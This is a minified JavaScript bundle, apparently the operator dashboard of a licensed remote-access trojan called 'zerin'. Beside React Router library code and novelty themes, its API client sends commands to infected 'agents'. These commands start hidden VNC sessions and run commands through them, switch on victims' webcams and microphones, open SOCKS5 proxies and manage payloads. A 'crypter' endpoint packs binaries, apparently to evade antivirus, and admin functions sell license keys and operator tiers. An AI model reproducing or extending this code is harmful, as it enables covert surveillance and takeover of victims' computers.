e=lE(),t=KP(e)?e.status+" "+e.statusText:e instanceof Error?e.message:JSON.stringify(e),n=e instanceof Error?e.stack:null,i={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return p.createElement(p.Fragment,null,p.createElement("h2",null,"Unexpected Application Error!"),p.createElement("h3",{style:{fontStyle:"italic"}},t),n?p.createElement("pre",{style:i},n):null,null)}const tE=p.createElement(eE,null);class nE extends p.Component{constructor(t){super(t),this.state={location:t.location,revalidation:t.revalidation,error:t.error}}static getDerivedStateFromError(t){return{error:t}}static getDerivedStateFromProps(t,n){return n.location!==t.location||n.revalidation!=="idle"&&t.revalidation==="idle"?{error:t.error,location:t.location,revalidation:t.revalidation}:{error:t.error!==void 0?t.error:n.error,location:n.location,revalidation:t.revalidation||n.revalidation}}componentDidCatch(t,n){console.error("React Router caught the following error during render",t,n)}render(){return this.state.error!==void 0?p.createElement(ur.Provider,{value:this.props.routeContext},p.createElement(ej.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function rE(e){let{routeContext:t,match:n,children:r}=e,i=p.useContext(ed);return i&&i.static&&i.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(i.staticContext._deepestRenderedBoundaryId=n.route.id),p.createElement(ur.Provider,{value:t},r)}function iE(e,t,n,r){var i;if(t===void 0&&(t=[]),n===void 0&&(n=null),r===void 0&&(r=null),e==null){var a;if(!n)return null;if(n.errors)e=n.matches;else if((a=r)!=null&&a.v7_partialHydration&&t.length===0&&!n.initialized&&n.matches.length>0)e=n.matches;else return null}let o=e,l=(i=n)==null?void 0:i.errors;if(l!=null){let d=o.findIndex(f=>f.route.id&&(l==null?void 0:l[f.route.id])!==void 0);d>=0||Ye(!1),o=o.slice(0,Math.min(o.length,d+1))}let c=!1,u=-1;if(n&&r&&r.v7_partialHydration)for(let d=0;d=0?o=o.slice(0,u+1):o=[o[0]];break}}}return o.reduceRight((d,f,m)=>{let h,x=!1,g=null,y=null;n&&(h=l&&f.route.id?l[f.route.id]:void 0,g=f.route.errorElement||tE,c&&(u<0&&m===0?(uE("route-fallback"),x=!0,y=null):u===m&&(x=!0,y=f.route.hydrateFallbackElement||null)));let v=t.concat(o.slice(0,m+1)),b=()=>{let w;return h?w=g:x?w=y:f.route.Component?w=p.createElement(f.route.Component,null):f.route.element?w=f.route.element:w=d,p.createElement(rE,{match:f,routeContext:{outlet:d,matches:v,isDataRoute:n!=null},children:w})};return n&&(f.route.ErrorBoundary||f.route.errorElement||m===0)?p.createElement(nE,{location:n.location,revalidation:n.revalidation,component:g,error:h,children:b(),routeContext:{outlet:null,matches:v,isDataRoute:!0}}):b()},null)}var nj=function(e){return e.UseBlocker="useBlocker",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e}(nj||{}),rj=function(e){return e.UseBlocker="useBlocker",e.UseLoaderData="useLoaderData",e.UseActionData="useActionData",e.UseRouteError="useRouteError",e.UseNavigation="useNavigation",e.UseRouteLoaderData="useRouteLoaderData",e.UseMatches="useMatches",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e.UseRouteId="useRouteId",e}(rj||{});function aE(e){let t=p.useContext(ed);return t||Ye(!1),t}function sE(e){let t=p.useContext(J5);return t||Ye(!1),t}function oE(e){let t=p.useContext(ur);return t||Ye(!1),t}function ij(e){let t=oE(),n=t.matches[t.matches.length-1];return n.route.id||Ye(!1),n.route.id}function lE(){var e;let t=p.useContext(ej),n=sE(),r=ij();return t!==void 0?t:(e=n.errors)==null?void 0:e[r]}function cE(){let{router:e}=aE(nj.UseNavigateStable),t=ij(rj.UseNavigateStable),n=p.useRef(!1);return tj(()=>{n.current=!0}),p.useCallback(function(i,a){a===void 0&&(a={}),n.current&&(typeof i=="number"?e.navigate(i):e.navigate(i,jo({fromRouteId:t},a)))},[e,t])}const Og={};function uE(e,t,n){Og[e]||(Og[e]=!0)}function dE(e,t){e==null||e.v7_startTransition,e==null||e.v7_relativeSplatPath}function Qi(e){let{to:t,replace:n,state:r,relative:i}=e;os()||Ye(!1);let{future:a,static:o}=p.useContext(Dr),{matches:l}=p.useContext(ur),{pathname:c}=la(),u=dr(),d=hx(t,mx(l,a.v7_relativeSplatPath),c,i==="path"),f=JSON.stringify(d);return p.useEffect(()=>u(JSON.parse(f),{replace:n,state:r,relative:i}),[u,f,i,n,r]),null}function fE(e){return ZP(e.context)}function ht(e){Ye(!1)}function pE(e){let{basename:t="/",children:n=null,location:r,navigationType:i=ei.Pop,navigator:a,static:o=!1,future:l}=e;os()&&Ye(!1);let c=t.replace(/^\/*/,"/"),u=p.useMemo(()=>({basename:c,navigator:a,static:o,future:jo({v7_relativeSplatPath:!1},l)}),[c,l,a,o]);typeof r=="string"&&(r=ss(r));let{pathname:d="/",search:f="",hash:m="",state:h=null,key:x="default"}=r,g=p.useMemo(()=>{let y=Ga(d,c);return y==null?null:{location:{pathname:y,search:f,hash:m,state:h,key:x},navigationType:i}},[c,d,f,m,h,x,i]);return g==null?null:p.createElement(Dr.Provider,{value:u},p.createElement(td.Provider,{children:n,value:g}))}function mE(e){let{children:t,location:n}=e;return QP(ym(t),n)}new Promise(()=>{});function ym(e,t){t===void 0&&(t=[]);let n=[];return p.Children.forEach(e,(r,i)=>{if(!p.isValidElement(r))return;let a=[...t,i];if(r.type===p.Fragment){n.push.apply(n,ym(r.props.children,a));return}r.type!==ht&&Ye(!1),!r.props.index||!r.props.children||Ye(!1);let o={id:r.props.id||a.join("-"),caseSensitive:r.props.caseSensitive,element:r.props.element,Component:r.props.Component,index:r.props.index,path:r.props.path,loader:r.props.loader,action:r.props.action,errorElement:r.props.errorElement,ErrorBoundary:r.props.ErrorBoundary,hasErrorBoundary:r.props.ErrorBoundary!=null||r.props.errorElement!=null,shouldRevalidate:r.props.shouldRevalidate,handle:r.props.handle,lazy:r.props.lazy};r.props.children&&(o.children=ym(r.props.children,a)),n.push(o)}),n}/** + * React Router DOM v6.30.3 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function Uc(){return Uc=Object.assign?Object.assign.bind():function(e){for(var t=1;t=0)&&(n[i]=e[i]);return n}function hE(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}function xE(e,t){return e.button===0&&(!t||t==="_self")&&!hE(e)}function bm(e){return e===void 0&&(e=""),new URLSearchParams(typeof e=="string"||Array.isArray(e)||e instanceof URLSearchParams?e:Object.keys(e).reduce((t,n)=>{let r=e[n];return t.concat(Array.isArray(r)?r.map(i=>[n,i]):[[n,r]])},[]))}function vE(e,t){let n=bm(e);return t&&t.forEach((r,i)=>{n.has(i)||t.getAll(i).forEach(a=>{n.append(i,a)})}),n}const gE=["onClick","relative","reloadDocument","replace","state","target","to","preventScrollReset","viewTransition"],yE=["aria-current","caseSensitive","className","end","style","to","viewTransition","children"],bE="6";try{window.__reactRouterVersion=bE}catch{}const wE=p.createContext({isTransitioning:!1}),jE="startTransition",Tg=q2[jE];function kE(e){let{basename:t,children:n,future:r,window:i}=e,a=p.useRef();a.current==null&&(a.current=jP({window:i,v5Compat:!0}));let o=a.current,[l,c]=p.useState({action:o.action,location:o.location}),{v7_startTransition:u}=r||{},d=p.useCallback(f=>{u&&Tg?Tg(()=>c(f)):c(f)},[c,u]);return p.useLayoutEffect(()=>o.listen(d),[o,d]),p.useEffect(()=>dE(r),[r]),p.createElement(pE,{basename:t,children:n,location:l.location,navigationType:l.action,navigator:o,future:r})}const NE=typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",SE=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,dt=p.forwardRef(function(t,n){let{onClick:r,relative:i,reloadDocument:a,replace:o,state:l,target:c,to:u,preventScrollReset:d,viewTransition:f}=t,m=aj(t,gE),{basename:h}=p.useContext(Dr),x,g=!1;if(typeof u=="string"&&SE.test(u)&&(x=u,NE))try{let w=new URL(window.location.href),j=u.startsWith("//")?new URL(w.protocol+u):new URL(u),k=Ga(j.pathname,h);j.origin===w.origin&&k!=null?u=k+j.search+j.hash:g=!0}catch{}let y=YP(u,{relative:i}),v=PE(u,{replace:o,state:l,target:c,preventScrollReset:d,relative:i,viewTransition:f});function b(w){r&&r(w),w.defaultPrevented||v(w)}return p.createElement("a",Uc({},m,{href:x||y,onClick:g||a?r:b,ref:n,target:c}))}),zE=p.forwardRef(function(t,n){let{"aria-current":r="page",caseSensitive:i=!1,className:a="",end:o=!1,style:l,to:c,viewTransition:u,children:d}=t,f=aj(t,yE),m=nd(c,{relative:f.relative}),h=la(),x=p.useContext(J5),{navigator:g,basename:y}=p.useContext(Dr),v=x!=null&&EE(m)&&u===!0,b=g.encodeLocation?g.encodeLocation(m).pathname:m.pathname,w=h.pathname,j=x&&x.navigation&&x.navigation.location?x.navigation.location.pathname:null;i||(w=w.toLowerCase(),j=j?j.toLowerCase():null,b=b.toLowerCase()),j&&y&&(j=Ga(j,y)||j);const k=b!=="/"&&b.endsWith("/")?b.length-1:b.length;let S=w===b||!o&&w.startsWith(b)&&w.charAt(k)==="/",N=j!=null&&(j===b||!o&&j.startsWith(b)&&j.charAt(b.length)==="/"),z={isActive:S,isPending:N,isTransitioning:v},_=S?r:void 0,A;typeof a=="function"?A=a(z):A=[a,S?"active":null,N?"pending":null,v?"transitioning":null].filter(Boolean).join(" ");let O=typeof l=="function"?l(z):l;return p.createElement(dt,Uc({},f,{"aria-current":_,className:A,ref:n,style:O,to:c,viewTransition:u}),typeof d=="function"?d(z):d)});var wm;(function(e){e.UseScrollRestoration="useScrollRestoration",e.UseSubmit="useSubmit",e.UseSubmitFetcher="useSubmitFetcher",e.UseFetcher="useFetcher",e.useViewTransitionState="useViewTransitionState"})(wm||(wm={}));var Mg;(function(e){e.UseFetcher="useFetcher",e.UseFetchers="useFetchers",e.UseScrollRestoration="useScrollRestoration"})(Mg||(Mg={}));function CE(e){let t=p.useContext(ed);return t||Ye(!1),t}function PE(e,t){let{target:n,replace:r,state:i,preventScrollReset:a,relative:o,viewTransition:l}=t===void 0?{}:t,c=dr(),u=la(),d=nd(e,{relative:o});return p.useCallback(f=>{if(xE(f,n)){f.preventDefault();let m=r!==void 0?r:Wc(u)===Wc(d);c(e,{replace:m,state:i,preventScrollReset:a,relative:o,viewTransition:l})}},[u,c,d,r,i,n,e,a,o,l])}function xx(e){let t=p.useRef(bm(e)),n=p.useRef(!1),r=la(),i=p.useMemo(()=>vE(r.search,n.current?null:t.current),[r.search]),a=dr(),o=p.useCallback((l,c)=>{const u=bm(typeof l=="function"?l(i):l);n.current=!0,a("?"+u,c)},[a,i]);return[i,o]}function EE(e,t){t===void 0&&(t={});let n=p.useContext(wE);n==null&&Ye(!1);let{basename:r}=CE(wm.useViewTransitionState),i=nd(e,{relative:t.relative});if(!n.isTransitioning)return!1;let a=Ga(n.currentLocation.pathname,r)||n.currentLocation.pathname,o=Ga(n.nextLocation.pathname,r)||n.nextLocation.pathname;return gm(i.pathname,o)!=null||gm(i.pathname,a)!=null}const rd="zerin_token",id="zerin_role",ad="zerin_tier";(function(){if(!window.opener)return;function t(n){var r;n.origin===window.location.origin&&((r=n.data)==null?void 0:r.type)==="zerin_auth"&&typeof n.data.token=="string"&&(sessionStorage.setItem(rd,n.data.token),n.data.role&&sessionStorage.setItem(id,n.data.role),window.removeEventListener("message",t),window.dispatchEvent(new CustomEvent("zerin_auth_ready")))}window.addEventListener("message",t),window.opener.postMessage({type:"zerin_auth_request"},window.location.origin)})();function rt(){return sessionStorage.getItem(rd)}function vx(e){sessionStorage.setItem(rd,e)}function Yo(){sessionStorage.removeItem(rd),sessionStorage.removeItem(id),sessionStorage.removeItem(ad),ko=null}function sj(){return sessionStorage.getItem(ad)||"rat"}let ko=null;function AE(){return rt()?ko&&Date.now()/1e3>ko?(Yo(),!1):!0:!1}class di extends Error{constructor(t,n){super(n),this.status=t,this.name="ApiError"}}async function Se(e,t={}){const n=rt(),r={"Content-Type":"application/json",...t.headers};n&&(r.Authorization=`Bearer ${n}`);const i=await fetch(e,{...t,headers:r});if(i.status===401){Yo(),xi();const a=await i.text().catch(()=>"");let o="Unauthorized";if(a)try{o=JSON.parse(a).error||o}catch{o=a}throw new di(401,o)}if(!i.ok){const a=await i.text().catch(()=>"");let o=`Request failed (HTTP ${i.status}). Please try again or contact support.`;if(a)try{o=JSON.parse(a).error||o}catch{}throw new di(i.status,o)}if(i.status!==204)return i.json()}async function oj(e){const t=new TextEncoder().encode(e),n=await crypto.subtle.digest("SHA-256",t);return Array.from(new Uint8Array(n)).map(r=>r.toString(16).padStart(2,"0")).join("")}async function _E(e){const t=await oj(e.password),n=await Se("/api/auth/login",{method:"POST",body:JSON.stringify({...e,password:t})});return vx(n.token),ko=n.expires_at,n.role&&sessionStorage.setItem(id,n.role),n.tier&&sessionStorage.setItem(ad,n.tier),xi(),n}async function OE(e){const t=await oj(e.password),n=await Se("/api/auth/register",{method:"POST",body:JSON.stringify({...e,password:t})});return vx(n.token),ko=n.expires_at,n.role&&sessionStorage.setItem(id,n.role),n.tier&&sessionStorage.setItem(ad,n.tier),xi(),n}async function lj(e){return Se("/api/agents")}async function TE(e){return Se(`/api/agents/${e}`)}async function cj(e){return Se(`/api/agents/${e}`,{method:"DELETE"})}async function ME(e){await Promise.all(e.map(t=>cj(t)))}async function LE(e){return Se(`/api/agents/${e}/ban`,{method:"POST"})}async function IE(e){return Se(`/api/agents/${e}/unban`,{method:"POST"})}async function Ee(e,t){return Se(`/api/agents/${e}/tasks`,{method:"POST",body:JSON.stringify(t)})}async function Un(e){return Se(`/api/agents/${e}/tasks`)}async function DE(){return Se("/api/events")}async function RE(e,t){return Se(`/api/agents/${e}/tags`,{method:"PUT",body:JSON.stringify({tags:t})})}async function $E(e){return Se("/api/payloads",{method:"POST",body:JSON.stringify(e)})}async function BE(){return Se("/api/payloads")}async function FE(){return Se("/api/server-info")}async function WE(e){return Se(`/api/payloads/${e}`,{method:"DELETE"})}async function gx(e){return Se(`/api/agents/${e}/vnc/start`,{method:"POST"})}async function UE(e){return Se(`/api/agents/${e}/vnc/stop`,{method:"POST"})}async function uj(e){return Se(`/api/agents/${e}/hvnc/start`,{method:"POST"})}async function VE(e){return Se(`/api/agents/${e}/hvnc/stop`,{method:"POST"})}async function HE(e,t,n=!1){return Se(`/api/agents/${e}/hvnc/exec`,{method:"POST",body:JSON.stringify({command:t,clone_session:n})})}async function dj(e,t=-1){return Se(`/api/agents/${e}/webcam/start`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({device_index:t})})}async function KE(e){return Se(`/api/agents/${e}/webcam/stop`,{method:"POST"})}async function fj(e){return Se(`/api/agents/${e}/mic/start`,{method:"POST"})}async function qE(e){return Se(`/api/agents/${e}/mic/stop`,{method:"POST"})}async function pj(e){return Se(`/api/agents/${e}/socks5/start`,{method:"POST"})}async function YE(e){return Se(`/api/agents/${e}/socks5/stop`,{method:"POST"})}async function GE(e){return Se(`/api/agents/${e}/socks5/status`)}async function XE(e){const t=rt(),n={};t&&(n.Authorization=`Bearer ${t}`);const r=await fetch("/api/crypter/crypt",{method:"POST",headers:n,body:e});if(r.status===401)throw Yo(),xi(),new di(401,"Unauthorized");if(r.status===403){const i=await r.json().catch(()=>({}));throw new di(403,i.error||"Crypter requires WebRAT + Crypter license")}if(!r.ok){const i=await r.json().catch(()=>({}));throw new di(r.status,i.error||`Crypt failed (HTTP ${r.status})`)}return r.blob()}async function ZE(){return Se("/api/admin/keys")}async function QE(e){return Se("/api/admin/keys",{method:"POST",body:JSON.stringify(e)})}async function JE(e){return Se(`/api/admin/keys/${e}/revoke`,{method:"POST"})}async function eA(){return Se("/api/admin/operators")}async function tA(e,t){return Se(`/api/admin/operators/${e}/extend`,{method:"POST",body:JSON.stringify({duration:t})})}async function nA(e,t){return Se(`/api/admin/operators/${e}/tier`,{method:"POST",body:JSON.stringify({tier:t})})}let dc=[];function rA(e){return dc.push(e),()=>{dc=dc.filter(t=>t!==e)}}function iA(){return AE()}function xi(){dc.forEach(e=>e())}function aA(){const e=rt();if(!e)return null;try{const t=e.split(".");if(t.length!==3)return null;const n=t[1].replace(/-/g,"+").replace(/_/g,"/"),r=JSON.parse(atob(n));return typeof r.role=="string"?r.role:null}catch{return null}}function ls(){const e=p.useSyncExternalStore(rA,iA),t=p.useCallback(()=>{xi()},[]),n=p.useCallback(()=>{Yo(),xi()},[]),r=e?aA():null;return{isAuthenticated:e,token:rt(),role:r,isAdmin:r==="admin",logout:n,refreshAuth:t}}class sA extends p.Component{constructor(t){super(t),this.state={hasError:!1}}static getDerivedStateFromError(){return{hasError:!0}}componentDidCatch(t,n){}render(){return this.state.hasError?s.jsx("div",{className:"flex items-center justify-center h-screen bg-zerin-bg",children:s.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),s.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Something went wrong"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-6",children:"An unexpected error occurred. Please reload the page to continue."}),s.jsx("button",{onClick:()=>window.location.reload(),className:`inline-flex items-center gap-2 text-sm font-medium text-white\r + bg-zerin-accent hover:bg-zerin-accent-hover\r + px-4 py-2 transition-colors`,children:"Reload"})]})}):this.props.children}}function oA(e={}){const{onMessage:t,reconnectInterval:n=3e3,maxReconnectAttempts:r=10}=e,[i,a]=p.useState(!1),[o,l]=p.useState(null),c=p.useRef(null),u=p.useRef(0),d=p.useRef(),f=p.useRef(t);f.current=t;const m=p.useCallback(()=>{const x=rt();if(!x)return;c.current&&c.current.close();const y=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/ws?token=${encodeURIComponent(x)}`,v=new WebSocket(y);c.current=v,v.onopen=()=>{a(!0),u.current=0},v.onmessage=b=>{var w;try{const j=JSON.parse(b.data);l(j),(w=f.current)==null||w.call(f,j)}catch{}},v.onclose=()=>{if(a(!1),c.current=null,u.current{m()},w)}else Yo(),xi()},v.onerror=()=>{v.close()}},[n,r]),h=p.useCallback(()=>{u.current=0,m()},[m]);return p.useEffect(()=>(m(),()=>{d.current&&clearTimeout(d.current),c.current&&c.current.close()}),[m]),{isConnected:i,lastMessage:o,reconnect:h}}const Hf="zerin_notifications_enabled";function lA(){const[e,t]=p.useState(typeof Notification<"u"?Notification.permission:"denied"),[n,r]=p.useState(()=>localStorage.getItem(Hf)==="true");p.useEffect(()=>{typeof Notification<"u"&&t(Notification.permission)},[]);const i=p.useCallback(async()=>{if(typeof Notification>"u")return;const l=await Notification.requestPermission();t(l),l==="granted"&&(r(!0),localStorage.setItem(Hf,"true"))},[]),a=p.useCallback(()=>{r(l=>{const c=!l;return localStorage.setItem(Hf,String(c)),c})},[]),o=p.useCallback((l,c)=>{if(!(!n||e!=="granted")&&!(typeof Notification>"u")&&!document.hasFocus())try{new Notification(l,{body:c,icon:"/favicon.ico",silent:!1})}catch{}},[n,e]);return{permission:e,enabled:n,requestPermission:i,toggleEnabled:a,notify:o,isSupported:typeof Notification<"u"}}const Kf="zerin-uwu-mode",Lg=20,cA=3e3;function uA(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(650,t),n.frequency.linearRampToValueAtTime(1050,t+.1),n.frequency.linearRampToValueAtTime(700,t+.2),n.frequency.linearRampToValueAtTime(400,t+.5),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.18,t+.04),r.gain.setValueAtTime(.18,t+.15),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6);const i=e.createOscillator(),a=e.createGain();i.type="triangle",i.frequency.setValueAtTime(1300,t),i.frequency.linearRampToValueAtTime(2100,t+.1),i.frequency.linearRampToValueAtTime(1e3,t+.3),a.gain.setValueAtTime(0,t),a.gain.linearRampToValueAtTime(.05,t+.04),a.gain.exponentialRampToValueAtTime(.001,t+.35),i.connect(a).connect(e.destination),i.start(t),i.stop(t+.4);const o=e.createOscillator(),l=e.createGain(),c=e.createBiquadFilter();o.type="sawtooth",o.frequency.setValueAtTime(180,t),c.type="bandpass",c.frequency.setValueAtTime(900,t),c.frequency.linearRampToValueAtTime(400,t+.5),c.Q.value=2,l.gain.setValueAtTime(0,t),l.gain.linearRampToValueAtTime(.025,t+.1),l.gain.exponentialRampToValueAtTime(.001,t+.5),o.connect(c).connect(l).connect(e.destination),o.start(t),o.stop(t+.55)}catch{}}function dA(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(900,t),n.frequency.linearRampToValueAtTime(600,t+.15),n.frequency.linearRampToValueAtTime(250,t+.6),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.15,t+.03),r.gain.exponentialRampToValueAtTime(.001,t+.65),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.7)}catch{}}function fA(e){try{const t=new AudioContext,n=t.currentTime,r=t.createOscillator(),i=t.createGain();r.type="sine",r.frequency.setValueAtTime(400+e*100,n),r.frequency.linearRampToValueAtTime(500+e*100,n+.04),i.gain.setValueAtTime(.1,n),i.gain.exponentialRampToValueAtTime(.001,n+.12),r.connect(i).connect(t.destination),r.start(n),r.stop(n+.15)}catch{}}function pA(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);const t=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f"];for(let n=0;n<45;n++){const r=document.createElement("div");r.className="femboy-sparkle";const i=6+Math.random()*18;r.style.cssText=` + left:${Math.random()*100}vw; + top:${Math.random()*100}vh; + width:${i}px; + height:${i}px; + background:${t[n%t.length]}; + animation-delay:${Math.random()*.6}s; + `,e.appendChild(r)}setTimeout(()=>e.remove(),2e3)}const Ig=["🐾","💖","✨","🎀","😻","🌸","💛","💜","🧋"],Dg=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f","#ff6ec7","#da70d6","#ee82ee"];function mA(e,t){const n=8+Math.floor(Math.random()*6);for(let r=0;r.45,o=Math.PI*2*r/n+(Math.random()-.5)*.8,l=40+Math.random()*80,c=Math.cos(o)*l,u=Math.sin(o)*l-30,d=Math.floor(Math.random()*720-360);if(a){const f=Ig[Math.floor(Math.random()*Ig.length)];i.textContent=f,i.style.cssText=` + position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000; + font-size:${10+Math.random()*14}px; + --fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg; + animation:femConfetti ${.5+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards; + animation-delay:${Math.random()*.08}s; + `}else{const f=Dg[Math.floor(Math.random()*Dg.length)],m=4+Math.random()*6,h=4+Math.random()*8;i.style.cssText=` + position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000; + width:${m}px;height:${h}px;background:${f}; + border-radius:${Math.random()>.5?"50%":"1px"}; + --fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg; + animation:femConfetti ${.4+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards; + animation-delay:${Math.random()*.06}s; + `}document.body.appendChild(i),setTimeout(()=>i.remove(),1e3)}}const Rg=["❤️","💖","💗","💕","♥️","🌸"];let $g=0;function hA(e,t){const n=Date.now();if(n-$g<60)return;$g=n;const r=document.createElement("span");r.className="femboy-heart-trail",r.textContent=Rg[Math.floor(Math.random()*Rg.length)];const i=(Math.random()-.5)*24,a=(Math.random()-.5)*40;r.style.cssText=`left:${e-6}px;top:${t-6}px;--fem-hx:${i}px;--fem-hr:${a}deg;font-size:${10+Math.random()*8}px;`,document.body.appendChild(r),setTimeout(()=>r.remove(),800)}function Bg(){if(document.getElementById("fem-yt-player"))return;const e=document.createElement("iframe");e.id="fem-yt-player",e.allow="autoplay; encrypted-media",e.src="https://www.youtube.com/embed/kVdYwWq631I?autoplay=1&start=13&loop=1&playlist=kVdYwWq631I&enablejsapi=1&controls=0&origin="+encodeURIComponent(window.location.origin),e.style.cssText="position:fixed;width:1px;height:1px;top:-9999px;left:-9999px;opacity:0;pointer-events:none;border:none;",document.body.appendChild(e),e.addEventListener("load",()=>{const t=()=>{var n;try{(n=e.contentWindow)==null||n.postMessage(JSON.stringify({event:"command",func:"setVolume",args:[12]}),"*")}catch{}};setTimeout(t,800),setTimeout(t,2e3)})}function Fg(){var t;const e=document.getElementById("fem-yt-player");if(e){try{(t=e.contentWindow)==null||t.postMessage(JSON.stringify({event:"command",func:"stopVideo",args:[]}),"*")}catch{}e.remove()}}const Wg=["(=^・ω・^=)","(◕ᴗ◕✿)","OwO","UwU","nya~","(≧◡≦)","♡","~nyaa","(=ˆ・ω・ˆ=)","meow~"];function xA(){const e=document.createElement("span");e.className="femboy-kaomoji",e.textContent=Wg[Math.floor(Math.random()*Wg.length)],e.style.left=`${20+Math.random()*60}vw`,e.style.top=`${20+Math.random()*60}vh`,document.body.appendChild(e),setTimeout(()=>e.remove(),3500)}function vA(){const[e,t]=p.useState(()=>{try{return localStorage.getItem(Kf)==="true"}catch{return!1}}),n=p.useRef(0),r=p.useRef();p.useEffect(()=>{const a=document.documentElement.classList;return e?(a.add("femboy-theme"),Bg()):(a.remove("femboy-theme"),Fg()),()=>{a.remove("femboy-theme"),Fg()}},[e]),p.useEffect(()=>{if(!e)return;const a=o=>{mA(o.clientX,o.clientY)};return document.addEventListener("click",a,!0),()=>document.removeEventListener("click",a,!0)},[e]),p.useEffect(()=>{if(!e)return;const a=o=>{hA(o.clientX,o.clientY)};return document.addEventListener("mousemove",a),()=>document.removeEventListener("mousemove",a)},[e]),p.useEffect(()=>{if(!e)return;const a=()=>{xA(),o=setTimeout(a,8e3+Math.random()*7e3)};let o=setTimeout(a,3e3);return()=>clearTimeout(o)},[e]);const i=p.useCallback(()=>{if(n.current++,clearTimeout(r.current),r.current=setTimeout(()=>{n.current=0},cA),e){if(n.current>=Lg){n.current=0,t(!1);try{localStorage.removeItem(Kf)}catch{}dA()}return}if(n.current>=15&&fA(n.current-14),n.current>=Lg){n.current=0,t(!0);try{localStorage.setItem(Kf,"true")}catch{}uA(),pA(),Bg()}},[e]);return{isActive:e,handleStatusClick:i}}const Ug=["ArrowUp","ArrowUp","ArrowLeft","ArrowLeft","s","y"];function gA(){try{const e=new AudioContext,t=e.currentTime,n=e.createGain();n.gain.setValueAtTime(.12,t),n.connect(e.destination),[261.6,329.6,392,523.3,659.3].forEach((l,c)=>{const u=t+c*.07,d=e.createOscillator(),f=e.createGain();d.type="sawtooth",d.frequency.setValueAtTime(l,u),f.gain.setValueAtTime(0,u),f.gain.linearRampToValueAtTime(.15,u+.02),f.gain.exponentialRampToValueAtTime(.001,u+.35),d.connect(f).connect(n),d.start(u),d.stop(u+.4)});const i=e.createOscillator(),a=e.createGain(),o=e.createBiquadFilter();i.type="triangle",i.frequency.setValueAtTime(130.8,t),o.type="lowpass",o.frequency.setValueAtTime(800,t),o.frequency.linearRampToValueAtTime(200,t+1.5),a.gain.setValueAtTime(0,t),a.gain.linearRampToValueAtTime(.08,t+.1),a.gain.setValueAtTime(.08,t+.8),a.gain.exponentialRampToValueAtTime(.001,t+1.5),i.connect(o).connect(a).connect(n),i.start(t),i.stop(t+1.6)}catch{}}function yA(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sawtooth",n.frequency.setValueAtTime(600,t),n.frequency.exponentialRampToValueAtTime(80,t+.5),r.gain.setValueAtTime(.1,t),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6)}catch{}}function bA(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);for(let n=0;n<8;n++){const r=document.createElement("div");r.style.cssText=` + position:absolute;left:0;right:0;height:2px; + top:${n*13}%; + background:linear-gradient(90deg, transparent, ${n%2===0?"#FF2D95":"#00F0FF"}, transparent); + box-shadow:0 0 12px ${n%2===0?"#FF2D95":"#00F0FF"}; + opacity:0; + animation:synthBurstLine 0.6s ease-out ${n*.05}s forwards; + `,e.appendChild(r)}const t=["#FF2D95","#00F0FF","#B026FF","#FF6B9D","#00D4FF"];for(let n=0;n<30;n++){const r=document.createElement("div"),i=3+Math.random()*6,a=30+Math.random()*40,o=30+Math.random()*40,l=(Math.random()-.5)*300,c=(Math.random()-.5)*300,u=t[n%t.length];r.style.cssText=` + position:absolute;left:${a}%;top:${o}%; + width:${i}px;height:${i}px; + background:${u};border-radius:50%; + box-shadow:0 0 8px ${u}, 0 0 16px ${u}40; + --synth-dx:${l}px;--synth-dy:${c}px; + animation:synthBurstParticle 0.8s cubic-bezier(.15,.8,.3,1) ${Math.random()*.15}s forwards; + `,e.appendChild(r)}setTimeout(()=>e.remove(),1500)}let Vg=0,qf=0;function wA(e,t){const n=Date.now();if(n-Vg<40)return;Vg=n,qf=(qf+15)%360;const r=document.createElement("div");r.className="synthwave-trail";const i=qf<180?"#FF2D95":"#00F0FF";r.style.cssText=`left:${e}px;top:${t}px;background:${i};box-shadow:0 0 6px ${i},0 0 12px 